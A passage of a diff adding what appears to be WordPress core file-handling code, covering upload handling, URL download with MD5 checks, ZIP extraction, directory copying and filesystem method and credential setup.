+			return call_user_func_array( $upload_error_handler, array( &$file, __( 'Sorry, this file type is not permitted for security reasons.' ) ) );
+		}
+		if ( ! $type ) {
+			$type = $file['type'];
+		}
+	} else {
+		$type = '';
+	}
+
+	/*
+	 * A writable uploads dir will pass this test. Again, there's no point
+	 * overriding this one.
+	 */
+	if ( ! ( ( $uploads = wp_upload_dir( $time ) ) && false === $uploads['error'] ) ) {
+		return call_user_func_array( $upload_error_handler, array( &$file, $uploads['error'] ) );
+	}
+
+	$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );
+
+	// Move the file to the uploads dir.
+	$new_file = $uploads['path'] . "/$filename";
+
+ 	/**
+	 * Filters whether to short-circuit moving the uploaded file after passing all checks.
+	 *
+	 * If a non-null value is passed to the filter, moving the file and any related error
+	 * reporting will be completely skipped.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $move_new_file If null (default) move the file after the upload.
+	 * @param string $file          An array of data for a single file.
+	 * @param string $new_file      Filename of the newly-uploaded file.
+	 * @param string $type          File type.
+	 */
+	$move_new_file = apply_filters( 'pre_move_uploaded_file', null, $file, $new_file, $type );
+
+	if ( null === $move_new_file ) {
+		if ( 'wp_handle_upload' === $action ) {
+			$move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );
+		} else {
+			// use copy and unlink because rename breaks streams.
+			$move_new_file = @ copy( $file['tmp_name'], $new_file );
+			unlink( $file['tmp_name'] );
+		}
+
+		if ( false === $move_new_file ) {
+			if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
+				$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
+			} else {
+				$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
+			}
+			return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $error_path ) );
+		}
+	}
+
+	// Set correct file permissions.
+	$stat = stat( dirname( $new_file ));
+	$perms = $stat['mode'] & 0000666;
+	@ chmod( $new_file, $perms );
+
+	// Compute the URL.
+	$url = $uploads['url'] . "/$filename";
+
+	if ( is_multisite() ) {
+		delete_transient( 'dirsize_cache' );
+	}
+
+	/**
+	 * Filters the data array for the uploaded file.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array  $upload {
+	 *     Array of upload data.
+	 *
+	 *     @type string $file Filename of the newly-uploaded file.
+	 *     @type string $url  URL of the uploaded file.
+	 *     @type string $type File type.
+	 * }
+	 * @param string $context The type of upload action. Values include 'upload' or 'sideload'.
+	 */
+	return apply_filters( 'wp_handle_upload', array(
+		'file' => $new_file,
+		'url'  => $url,
+		'type' => $type
+	), 'wp_handle_sideload' === $action ? 'sideload' : 'upload' );
+}
+
+/**
+ * Wrapper for _wp_handle_upload().
+ *
+ * Passes the {@see 'wp_handle_upload'} action.
+ *
+ * @since 2.0.0
+ *
+ * @see _wp_handle_upload()
+ *
+ * @param array      $file      Reference to a single element of `$_FILES`. Call the function once for
+ *                              each uploaded file.
+ * @param array|bool $overrides Optional. An associative array of names=>values to override default
+ *                              variables. Default false.
+ * @param string     $time      Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @return array On success, returns an associative array of file attributes. On failure, returns
+ *               $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
+ */
+function wp_handle_upload( &$file, $overrides = false, $time = null ) {
+	/*
+	 *  $_POST['action'] must be set and its value must equal $overrides['action']
+	 *  or this:
+	 */
+	$action = 'wp_handle_upload';
+	if ( isset( $overrides['action'] ) ) {
+		$action = $overrides['action'];
+	}
+
+	return _wp_handle_upload( $file, $overrides, $time, $action );
+}
+
+/**
+ * Wrapper for _wp_handle_upload().
+ *
+ * Passes the {@see 'wp_handle_sideload'} action.
+ *
+ * @since 2.6.0
+ *
+ * @see _wp_handle_upload()
+ *
+ * @param array      $file      An array similar to that of a PHP `$_FILES` POST array
+ * @param array|bool $overrides Optional. An associative array of names=>values to override default
+ *                              variables. Default false.
+ * @param string     $time      Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @return array On success, returns an associative array of file attributes. On failure, returns
+ *               $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
+ */
+function wp_handle_sideload( &$file, $overrides = false, $time = null ) {
+	/*
+	 *  $_POST['action'] must be set and its value must equal $overrides['action']
+	 *  or this:
+	 */
+	$action = 'wp_handle_sideload';
+	if ( isset( $overrides['action'] ) ) {
+		$action = $overrides['action'];
+	}
+	return _wp_handle_upload( $file, $overrides, $time, $action );
+}
+
+
+/**
+ * Downloads a URL to a local temporary file using the WordPress HTTP Class.
+ * Please note, That the calling function must unlink() the file.
+ *
+ * @since 2.5.0
+ *
+ * @param string $url the URL of the file to download
+ * @param int $timeout The timeout for the request to download the file default 300 seconds
+ * @return mixed WP_Error on failure, string Filename on success.
+ */
+function download_url( $url, $timeout = 300 ) {
+	//WARNING: The file is not automatically deleted, The script must unlink() the file.
+	if ( ! $url )
+		return new WP_Error('http_no_url', __('Invalid URL Provided.'));
+
+	$url_filename = basename( parse_url( $url, PHP_URL_PATH ) );
+
+	$tmpfname = wp_tempnam( $url_filename );
+	if ( ! $tmpfname )
+		return new WP_Error('http_no_file', __('Could not create Temporary file.'));
+
+	$response = wp_safe_remote_get( $url, array( 'timeout' => $timeout, 'stream' => true, 'filename' => $tmpfname ) );
+
+	if ( is_wp_error( $response ) ) {
+		unlink( $tmpfname );
+		return $response;
+	}
+
+	if ( 200 != wp_remote_retrieve_response_code( $response ) ){
+		unlink( $tmpfname );
+		return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ) );
+	}
+
+	$content_md5 = wp_remote_retrieve_header( $response, 'content-md5' );
+	if ( $content_md5 ) {
+		$md5_check = verify_file_md5( $tmpfname, $content_md5 );
+		if ( is_wp_error( $md5_check ) ) {
+			unlink( $tmpfname );
+			return $md5_check;
+		}
+	}
+
+	return $tmpfname;
+}
+
+/**
+ * Calculates and compares the MD5 of a file to its expected value.
+ *
+ * @since 3.7.0
+ *
+ * @param string $filename The filename to check the MD5 of.
+ * @param string $expected_md5 The expected MD5 of the file, either a base64 encoded raw md5, or a hex-encoded md5
+ * @return bool|object WP_Error on failure, true on success, false when the MD5 format is unknown/unexpected
+ */
+function verify_file_md5( $filename, $expected_md5 ) {
+	if ( 32 == strlen( $expected_md5 ) )
+		$expected_raw_md5 = pack( 'H*', $expected_md5 );
+	elseif ( 24 == strlen( $expected_md5 ) )
+		$expected_raw_md5 = base64_decode( $expected_md5 );
+	else
+		return false; // unknown format
+
+	$file_md5 = md5_file( $filename, true );
+
+	if ( $file_md5 === $expected_raw_md5 )
+		return true;
+
+	return new WP_Error( 'md5_mismatch', sprintf( __( 'The checksum of the file (%1$s) does not match the expected checksum value (%2$s).' ), bin2hex( $file_md5 ), bin2hex( $expected_raw_md5 ) ) );
+}
+
+/**
+ * Unzips a specified ZIP file to a location on the Filesystem via the WordPress Filesystem Abstraction.
+ * Assumes that WP_Filesystem() has already been called and set up. Does not extract a root-level __MACOSX directory, if present.
+ *
+ * Attempts to increase the PHP Memory limit to 256M before uncompressing,
+ * However, The most memory required shouldn't be much larger than the Archive itself.
+ *
+ * @since 2.5.0
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ *
+ * @param string $file Full path and filename of zip archive
+ * @param string $to Full path on the filesystem to extract archive to
+ * @return mixed WP_Error on failure, True on success
+ */
+function unzip_file($file, $to) {
+	global $wp_filesystem;
+
+	if ( ! $wp_filesystem || !is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	// Unzip can use a lot of memory, but not this much hopefully.
+	wp_raise_memory_limit( 'admin' );
+
+	$needed_dirs = array();
+	$to = trailingslashit($to);
+
+	// Determine any parent dir's needed (of the upgrade directory)
+	if ( ! $wp_filesystem->is_dir($to) ) { //Only do parents if no children exist
+		$path = preg_split('![/\\\]!', untrailingslashit($to));
+		for ( $i = count($path); $i >= 0; $i-- ) {
+			if ( empty($path[$i]) )
+				continue;
+
+			$dir = implode('/', array_slice($path, 0, $i+1) );
+			if ( preg_match('!^[a-z]:$!i', $dir) ) // Skip it if it looks like a Windows Drive letter.
+				continue;
+
+			if ( ! $wp_filesystem->is_dir($dir) )
+				$needed_dirs[] = $dir;
+			else
+				break; // A folder exists, therefor, we dont need the check the levels below this
+		}
+	}
+
+	/**
+	 * Filters whether to use ZipArchive to unzip archives.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool $ziparchive Whether to use ZipArchive. Default true.
+	 */
+	if ( class_exists( 'ZipArchive', false ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
+		$result = _unzip_file_ziparchive($file, $to, $needed_dirs);
+		if ( true === $result ) {
+			return $result;
+		} elseif ( is_wp_error($result) ) {
+			if ( 'incompatible_archive' != $result->get_error_code() )
+				return $result;
+		}
+	}
+	// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
+	return _unzip_file_pclzip($file, $to, $needed_dirs);
+}
+
+/**
+ * This function should not be called directly, use unzip_file instead. Attempts to unzip an archive using the ZipArchive class.
+ * Assumes that WP_Filesystem() has already been called and set up.
+ *
+ * @since 3.0.0
+ * @see unzip_file
+ * @access private
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ *
+ * @param string $file Full path and filename of zip archive
+ * @param string $to Full path on the filesystem to extract archive to
+ * @param array $needed_dirs A partial list of required folders needed to be created.
+ * @return mixed WP_Error on failure, True on success
+ */
+function _unzip_file_ziparchive($file, $to, $needed_dirs = array() ) {
+	global $wp_filesystem;
+
+	$z = new ZipArchive();
+
+	$zopen = $z->open( $file, ZIPARCHIVE::CHECKCONS );
+	if ( true !== $zopen )
+		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), array( 'ziparchive_error' => $zopen ) );
+
+	$uncompressed_size = 0;
+
+	for ( $i = 0; $i < $z->numFiles; $i++ ) {
+		if ( ! $info = $z->statIndex($i) )
+			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
+
+		if ( '__MACOSX/' === substr($info['name'], 0, 9) ) // Skip the OS X-created __MACOSX directory
+			continue;
+
+		// Don't extract invalid files:
+		if ( 0 !== validate_file( $info['name'] ) ) {
+			continue;
+		}
+
+		$uncompressed_size += $info['size'];
+
+		if ( '/' === substr( $info['name'], -1 ) ) {
+			// Directory.
+			$needed_dirs[] = $to . untrailingslashit( $info['name'] );
+		} elseif ( '.' !== $dirname = dirname( $info['name'] ) ) {
+			// Path to a file.
+			$needed_dirs[] = $to . untrailingslashit( $dirname );
+		}
+	}
+
+	/*
+	 * disk_free_space() could return false. Assume that any falsey value is an error.
+	 * A disk that has zero free bytes has bigger problems.
+	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
+	 */
+	if ( wp_doing_cron() ) {
+		$available_space = @disk_free_space( WP_CONTENT_DIR );
+		if ( $available_space && ( $uncompressed_size * 2.1 ) > $available_space )
+			return new WP_Error( 'disk_full_unzip_file', __( 'Could not copy files. You may have run out of disk space.' ), compact( 'uncompressed_size', 'available_space' ) );
+	}
+
+	$needed_dirs = array_unique($needed_dirs);
+	foreach ( $needed_dirs as $dir ) {
+		// Check the parent folders of the folders all exist within the creation array.
+		if ( untrailingslashit($to) == $dir ) // Skip over the working directory, We know this exists (or will exist)
+			continue;
+		if ( strpos($dir, $to) === false ) // If the directory is not within the working directory, Skip it
+			continue;
+
+		$parent_folder = dirname($dir);
+		while ( !empty($parent_folder) && untrailingslashit($to) != $parent_folder && !in_array($parent_folder, $needed_dirs) ) {
+			$needed_dirs[] = $parent_folder;
+			$parent_folder = dirname($parent_folder);
+		}
+	}
+	asort($needed_dirs);
+
+	// Create those directories if need be:
+	foreach ( $needed_dirs as $_dir ) {
+		// Only check to see if the Dir exists upon creation failure. Less I/O this way.
+		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
+			return new WP_Error( 'mkdir_failed_ziparchive', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) );
+		}
+	}
+	unset($needed_dirs);
+
+	for ( $i = 0; $i < $z->numFiles; $i++ ) {
+		if ( ! $info = $z->statIndex($i) )
+			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
+
+		if ( '/' == substr($info['name'], -1) ) // directory
+			continue;
+
+		if ( '__MACOSX/' === substr($info['name'], 0, 9) ) // Don't extract the OS X-created __MACOSX directory files
+			continue;
+
+		// Don't extract invalid files:
+		if ( 0 !== validate_file( $info['name'] ) ) {
+			continue;
+		}
+
+		$contents = $z->getFromIndex($i);
+		if ( false === $contents )
+			return new WP_Error( 'extract_failed_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] );
+
+		if ( ! $wp_filesystem->put_contents( $to . $info['name'], $contents, FS_CHMOD_FILE) )
+			return new WP_Error( 'copy_failed_ziparchive', __( 'Could not copy file.' ), $info['name'] );
+	}
+
+	$z->close();
+
+	return true;
+}
+
+/**
+ * This function should not be called directly, use unzip_file instead. Attempts to unzip an archive using the PclZip library.
+ * Assumes that WP_Filesystem() has already been called and set up.
+ *
+ * @since 3.0.0
+ * @see unzip_file
+ * @access private
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ *
+ * @param string $file Full path and filename of zip archive
+ * @param string $to Full path on the filesystem to extract archive to
+ * @param array $needed_dirs A partial list of required folders needed to be created.
+ * @return mixed WP_Error on failure, True on success
+ */
+function _unzip_file_pclzip($file, $to, $needed_dirs = array()) {
+	global $wp_filesystem;
+
+	mbstring_binary_safe_encoding();
+
+	require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php');
+
+	$archive = new PclZip($file);
+
+	$archive_files = $archive->extract(PCLZIP_OPT_EXTRACT_AS_STRING);
+
+	reset_mbstring_encoding();
+
+	// Is the archive valid?
+	if ( !is_array($archive_files) )
+		return new WP_Error('incompatible_archive', __('Incompatible Archive.'), $archive->errorInfo(true));
+
+	if ( 0 == count($archive_files) )
+		return new WP_Error( 'empty_archive_pclzip', __( 'Empty archive.' ) );
+
+	$uncompressed_size = 0;
+
+	// Determine any children directories needed (From within the archive)
+	foreach ( $archive_files as $file ) {
+		if ( '__MACOSX/' === substr($file['filename'], 0, 9) ) // Skip the OS X-created __MACOSX directory
+			continue;
+
+		$uncompressed_size += $file['size'];
+
+		$needed_dirs[] = $to . untrailingslashit( $file['folder'] ? $file['filename'] : dirname($file['filename']) );
+	}
+
+	/*
+	 * disk_free_space() could return false. Assume that any falsey value is an error.
+	 * A disk that has zero free bytes has bigger problems.
+	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
+	 */
+	if ( wp_doing_cron() ) {
+		$available_space = @disk_free_space( WP_CONTENT_DIR );
+		if ( $available_space && ( $uncompressed_size * 2.1 ) > $available_space )
+			return new WP_Error( 'disk_full_unzip_file', __( 'Could not copy files. You may have run out of disk space.' ), compact( 'uncompressed_size', 'available_space' ) );
+	}
+
+	$needed_dirs = array_unique($needed_dirs);
+	foreach ( $needed_dirs as $dir ) {
+		// Check the parent folders of the folders all exist within the creation array.
+		if ( untrailingslashit($to) == $dir ) // Skip over the working directory, We know this exists (or will exist)
+			continue;
+		if ( strpos($dir, $to) === false ) // If the directory is not within the working directory, Skip it
+			continue;
+
+		$parent_folder = dirname($dir);
+		while ( !empty($parent_folder) && untrailingslashit($to) != $parent_folder && !in_array($parent_folder, $needed_dirs) ) {
+			$needed_dirs[] = $parent_folder;
+			$parent_folder = dirname($parent_folder);
+		}
+	}
+	asort($needed_dirs);
+
+	// Create those directories if need be:
+	foreach ( $needed_dirs as $_dir ) {
+		// Only check to see if the dir exists upon creation failure. Less I/O this way.
+		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) )
+			return new WP_Error( 'mkdir_failed_pclzip', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) );
+	}
+	unset($needed_dirs);
+
+	// Extract the files from the zip
+	foreach ( $archive_files as $file ) {
+		if ( $file['folder'] )
+			continue;
+
+		if ( '__MACOSX/' === substr($file['filename'], 0, 9) ) // Don't extract the OS X-created __MACOSX directory files
+			continue;
+
+		// Don't extract invalid files:
+		if ( 0 !== validate_file( $file['filename'] ) ) {
+			continue;
+		}
+
+		if ( ! $wp_filesystem->put_contents( $to . $file['filename'], $file['content'], FS_CHMOD_FILE) )
+			return new WP_Error( 'copy_failed_pclzip', __( 'Could not copy file.' ), $file['filename'] );
+	}
+	return true;
+}
+
+/**
+ * Copies a directory from one location to another via the WordPress Filesystem Abstraction.
+ * Assumes that WP_Filesystem() has already been called and setup.
+ *
+ * @since 2.5.0
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ *
+ * @param string $from source directory
+ * @param string $to destination directory
+ * @param array $skip_list a list of files/folders to skip copying
+ * @return mixed WP_Error on failure, True on success.
+ */
+function copy_dir($from, $to, $skip_list = array() ) {
+	global $wp_filesystem;
+
+	$dirlist = $wp_filesystem->dirlist($from);
+
+	$from = trailingslashit($from);
+	$to = trailingslashit($to);
+
+	foreach ( (array) $dirlist as $filename => $fileinfo ) {
+		if ( in_array( $filename, $skip_list ) )
+			continue;
+
+		if ( 'f' == $fileinfo['type'] ) {
+			if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) {
+				// If copy failed, chmod file to 0644 and try again.
+				$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );
+				if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) )
+					return new WP_Error( 'copy_failed_copy_dir', __( 'Could not copy file.' ), $to . $filename );
+			}
+		} elseif ( 'd' == $fileinfo['type'] ) {
+			if ( !$wp_filesystem->is_dir($to . $filename) ) {
+				if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) )
+					return new WP_Error( 'mkdir_failed_copy_dir', __( 'Could not create directory.' ), $to . $filename );
+			}
+
+			// generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list
+			$sub_skip_list = array();
+			foreach ( $skip_list as $skip_item ) {
+				if ( 0 === strpos( $skip_item, $filename . '/' ) )
+					$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
+			}
+
+			$result = copy_dir($from . $filename, $to . $filename, $sub_skip_list);
+			if ( is_wp_error($result) )
+				return $result;
+		}
+	}
+	return true;
+}
+
+/**
+ * Initialises and connects the WordPress Filesystem Abstraction classes.
+ * This function will include the chosen transport and attempt connecting.
+ *
+ * Plugins may add extra transports, And force WordPress to use them by returning
+ * the filename via the {@see 'filesystem_method_file'} filter.
+ *
+ * @since 2.5.0
+ *
+ * @global WP_Filesystem_Base $wp_filesystem Subclass
+ *
+ * @param array|false  $args                         Optional. Connection args, These are passed directly to
+ *                                                   the `WP_Filesystem_*()` classes. Default false.
+ * @param string|false $context                      Optional. Context for get_filesystem_method(). Default false.
+ * @param bool         $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
+ * @return null|bool false on failure, true on success.
+ */
+function WP_Filesystem( $args = false, $context = false, $allow_relaxed_file_ownership = false ) {
+	global $wp_filesystem;
+
+	require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php');
+
+	$method = get_filesystem_method( $args, $context, $allow_relaxed_file_ownership );
+
+	if ( ! $method )
+		return false;
+
+	if ( ! class_exists( "WP_Filesystem_$method" ) ) {
+
+		/**
+		 * Filters the path for a specific filesystem method class file.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @see get_filesystem_method()
+		 *
+		 * @param string $path   Path to the specific filesystem method class file.
+		 * @param string $method The filesystem method to use.
+		 */
+		$abstraction_file = apply_filters( 'filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method );
+
+		if ( ! file_exists($abstraction_file) )
+			return;
+
+		require_once($abstraction_file);
+	}
+	$method = "WP_Filesystem_$method";
+
+	$wp_filesystem = new $method($args);
+
+	//Define the timeouts for the connections. Only available after the construct is called to allow for per-transport overriding of the default.
+	if ( ! defined('FS_CONNECT_TIMEOUT') )
+		define('FS_CONNECT_TIMEOUT', 30);
+	if ( ! defined('FS_TIMEOUT') )
+		define('FS_TIMEOUT', 30);
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return false;
+
+	if ( !$wp_filesystem->connect() )
+		return false; //There was an error connecting to the server.
+
+	// Set the permission constants if not already set.
+	if ( ! defined('FS_CHMOD_DIR') )
+		define('FS_CHMOD_DIR', ( fileperms( ABSPATH ) & 0777 | 0755 ) );
+	if ( ! defined('FS_CHMOD_FILE') )
+		define('FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) );
+
+	return true;
+}
+
+/**
+ * Determines which method to use for reading, writing, modifying, or deleting
+ * files on the filesystem.
+ *
+ * The priority of the transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets
+ * (Via Sockets class, or `fsockopen()`). Valid values for these are: 'direct', 'ssh2',
+ * 'ftpext' or 'ftpsockets'.
+ *
+ * The return value can be overridden by defining the `FS_METHOD` constant in `wp-config.php`,
+ * or filtering via {@see 'filesystem_method'}.
+ *
+ * @link https://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants
+ *
+ * Plugins may define a custom transport handler, See WP_Filesystem().
+ *
+ * @since 2.5.0
+ *
+ * @global callable $_wp_filesystem_direct_method
+ *
+ * @param array  $args                         Optional. Connection details. Default empty array.
+ * @param string $context                      Optional. Full path to the directory that is tested
+ *                                             for being writable. Default empty.
+ * @param bool   $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
+ *                                             Default false.
+ * @return string The transport to use, see description for valid return values.
+ */
+function get_filesystem_method( $args = array(), $context = '', $allow_relaxed_file_ownership = false ) {
+	$method = defined('FS_METHOD') ? FS_METHOD : false; // Please ensure that this is either 'direct', 'ssh2', 'ftpext' or 'ftpsockets'
+
+	if ( ! $context ) {
+		$context = WP_CONTENT_DIR;
+	}
+
+	// If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it.
+	if ( WP_LANG_DIR == $context && ! is_dir( $context ) ) {
+		$context = dirname( $context );
+	}
+
+	$context = trailingslashit( $context );
+
+	if ( ! $method ) {
+
+		$temp_file_name = $context . 'temp-write-test-' . time();
+		$temp_handle = @fopen($temp_file_name, 'w');
+		if ( $temp_handle ) {
+
+			// Attempt to determine the file owner of the WordPress files, and that of newly created files
+			$wp_file_owner = $temp_file_owner = false;
+			if ( function_exists('fileowner') ) {
+				$wp_file_owner = @fileowner( __FILE__ );
+				$temp_file_owner = @fileowner( $temp_file_name );
+			}
+
+			if ( $wp_file_owner !== false && $wp_file_owner === $temp_file_owner ) {
+				// WordPress is creating files as the same owner as the WordPress files,
+				// this means it's safe to modify & create new files via PHP.
+				$method = 'direct';
+				$GLOBALS['_wp_filesystem_direct_method'] = 'file_owner';
+			} elseif ( $allow_relaxed_file_ownership ) {
+				// The $context directory is writable, and $allow_relaxed_file_ownership is set, this means we can modify files
+				// safely in this directory. This mode doesn't create new files, only alter existing ones.
+				$method = 'direct';
+				$GLOBALS['_wp_filesystem_direct_method'] = 'relaxed_ownership';
+			}
+
+			@fclose($temp_handle);
+			@unlink($temp_file_name);
+		}
+ 	}
+
+	if ( ! $method && isset($args['connection_type']) && 'ssh' == $args['connection_type'] && extension_loaded('ssh2') && function_exists('stream_get_contents') ) $method = 'ssh2';
+	if ( ! $method && extension_loaded('ftp') ) $method = 'ftpext';
+	if ( ! $method && ( extension_loaded('sockets') || function_exists('fsockopen') ) ) $method = 'ftpsockets'; //Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread
+
+	/**
+	 * Filters the filesystem method to use.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $method  Filesystem method to return.
+	 * @param array  $args    An array of connection details for the method.
+	 * @param string $context Full path to the directory that is tested for being writable.
+	 * @param bool   $allow_relaxed_file_ownership Whether to allow Group/World writable.
+	 */
+	return apply_filters( 'filesystem_method', $method, $args, $context, $allow_relaxed_file_ownership );
+}
+
+/**
+ * Displays a form to the user to request for their FTP/SSH details in order
+ * to connect to the filesystem.
+ *
+ * All chosen/entered details are saved, excluding the password.
+ *
+ * Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467)
+ * to specify an alternate FTP/SSH port.
+ *
+ * Plugins may override this form by returning true|false via the {@see 'request_filesystem_credentials'} filter.
+ *
+ * @since 2.5.0
+ * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
+ *
+ * @global string $pagenow
+ *
+ * @param string $form_post                    The URL to post the form to.
+ * @param string $type                         Optional. Chosen type of filesystem. Default empty.
+ * @param bool   $error                        Optional. Whether the current request has failed to connect.
+ *                                             Default false.
+ * @param string $context                      Optional. Full path to the directory that is tested for being
+ *                                             writable. Default empty.
+ * @param array  $extra_fields                 Optional. Extra `POST` fields to be checked for inclusion in
+ *                                             the post. Default null.
+ * @param bool   $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
+ *
+ * @return bool False on failure, true on success.
+ */
+function request_filesystem_credentials( $form_post, $type = '', $error = false, $context = '', $extra_fields = null, $allow_relaxed_file_ownership = false ) {
+	global $pagenow;
+
+	/**
+	 * Filters the filesystem credentials form output.
+	 *
+	 * Returning anything other than an empty string will effectively short-circuit
+	 * output of the filesystem credentials form, returning that value instead.
+	 *
+	 * @since 2.5.0
+	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
+	 *
+	 * @param mixed  $output                       Form output to return instead. Default empty.
+	 * @param string $form_post                    The URL to post the form to.
+	 * @param string $type                         Chosen type of filesystem.
+	 * @param bool   $error                        Whether the current request has failed to connect.
+	 *                                             Default false.
+	 * @param string $context                      Full path to the directory that is tested for
+	 *                                             being writable.
+	 * @param bool   $allow_relaxed_file_ownership Whether to allow Group/World writable.
+	 *                                             Default false.
+	 * @param array  $extra_fields                 Extra POST fields.
+	 */
+	$req_cred = apply_filters( 'request_filesystem_credentials', '', $form_post, $type, $error, $context, $extra_fields, $allow_relaxed_file_ownership );
+	if ( '' !== $req_cred )
+		return $req_cred;
+
+	if ( empty($type) ) {
+		$type = get_filesystem_method( array(), $context, $allow_relaxed_file_ownership );
+	}
+
+	if ( 'direct' == $type )
+		return true;
+
+	if ( is_null( $extra_fields ) )
+		$extra_fields = array( 'version', 'locale' );
+
+	$credentials = get_option('ftp_credentials', array( 'hostname' => '', 'username' => ''));
+
+	$submitted_form = wp_unslash( $_POST );
+
+	// Verify nonce, or unset submitted form field values on failure
+	if ( ! isset( $_POST['_fs_nonce'] ) || ! wp_verify_nonce( $_POST['_fs_nonce'], 'filesystem-credentials' ) ) {
+		unset(
+			$submitted_form['hostname'],
+			$submitted_form['username'],
+			$submitted_form['password'],
+			$submitted_form['public_key'],
+			$submitted_form['private_key'],
+			$submitted_form['connection_type']
+		);
+	}
+
+	// If defined, set it to that, Else, If POST'd, set it to that, If not, Set it to whatever it previously was(saved details in option)
+	$credentials['hostname'] = defined('FTP_HOST') ? FTP_HOST : (!empty($submitted_form['hostname']) ? $submitted_form['hostname'] : $credentials['hostname']);
+	$credentials['username'] = defined('FTP_USER') ? FTP_USER : (!empty($submitted_form['username']) ? $submitted_form['username'] : $credentials['username']);
+	$credentials['password'] = defined('FTP_PASS') ? FTP_PASS : (!empty($submitted_form['password']) ? $submitted_form['password'] : '');
+
+	// Check to see if we are setting the public/private keys for ssh
+	$credentials['public_key'] = defined('FTP_PUBKEY') ? FTP_PUBKEY : (!empty($submitted_form['public_key']) ? $submitted_form['public_key'] : '');
+	$credentials['private_key'] = defined('FTP_PRIKEY') ? FTP_PRIKEY : (!empty($submitted_form['private_key']) ? $submitted_form['private_key'] : '');
+
+	// Sanitize the hostname, Some people might pass in odd-data:
+	$credentials['hostname'] = preg_replace('|\w+://|', '', $credentials['hostname']); //Strip any schemes off
+
+	if ( strpos($credentials['hostname'], ':') ) {
+		list( $credentials['hostname'], $credentials['port'] ) = explode(':', $credentials['hostname'], 2);
+		if ( ! is_numeric($credentials['port']) )
+			unset($credentials['port']);
+	} else {
+		unset($credentials['port']);
+	}
+
+	if ( ( defined( 'FTP_SSH' ) && FTP_SSH ) || ( defined( 'FS_METHOD' ) && 'ssh2' == FS_METHOD ) ) {
+		$credentials['connection_type'] = 'ssh';
+	} elseif ( ( defined( 'FTP_SSL' ) && FTP_SSL ) && 'ftpext' == $type ) { //Only the FTP Extension understands SSL
+		$credentials['connection_type'] = 'ftps';
+	} elseif ( ! empty( $submitted_form['connection_type'] ) ) {
+		$credentials['connection_type'] = $submitted_form['connection_type'];
+	} elseif ( ! isset( $credentials['connection_type'] ) ) { //All else fails (And it's not defaulted to something else saved), Default to FTP
+		$credentials['connection_type'] = 'ftp';
+	}
+	if ( ! $error &&
+			(
+				( !empty($credentials['password']) && !empty($credentials['username']) && !empty($credentials['hostname']) ) ||
+				( 'ssh' == $credentials['connection_type'] && !empty($credentials['public_key']) && !empty($credentials['private_key']) )
+			) ) {
+		$stored_credentials = $credentials;
+		if ( !empty($stored_credentials['port']) ) //save port as part of hostname to simplify above code.
+			$stored_credentials['hostname'] .= ':' . $stored_credentials['port'];
+
+		unset($stored_credentials['password'], $stored_credentials['port'], $stored_credentials['private_key'], $stored_credentials['public_key']);
+		if ( ! wp_installing() ) {
+			update_option( 'ftp_credentials', $stored_credentials );
+		}
+		return $credentials;
+	}
+	$hostname = isset( $credentials['hostname'] ) ? $credentials['hostname'] : '';
+	$username = isset( $credentials['username'] ) ? $credentials['username'] : '';
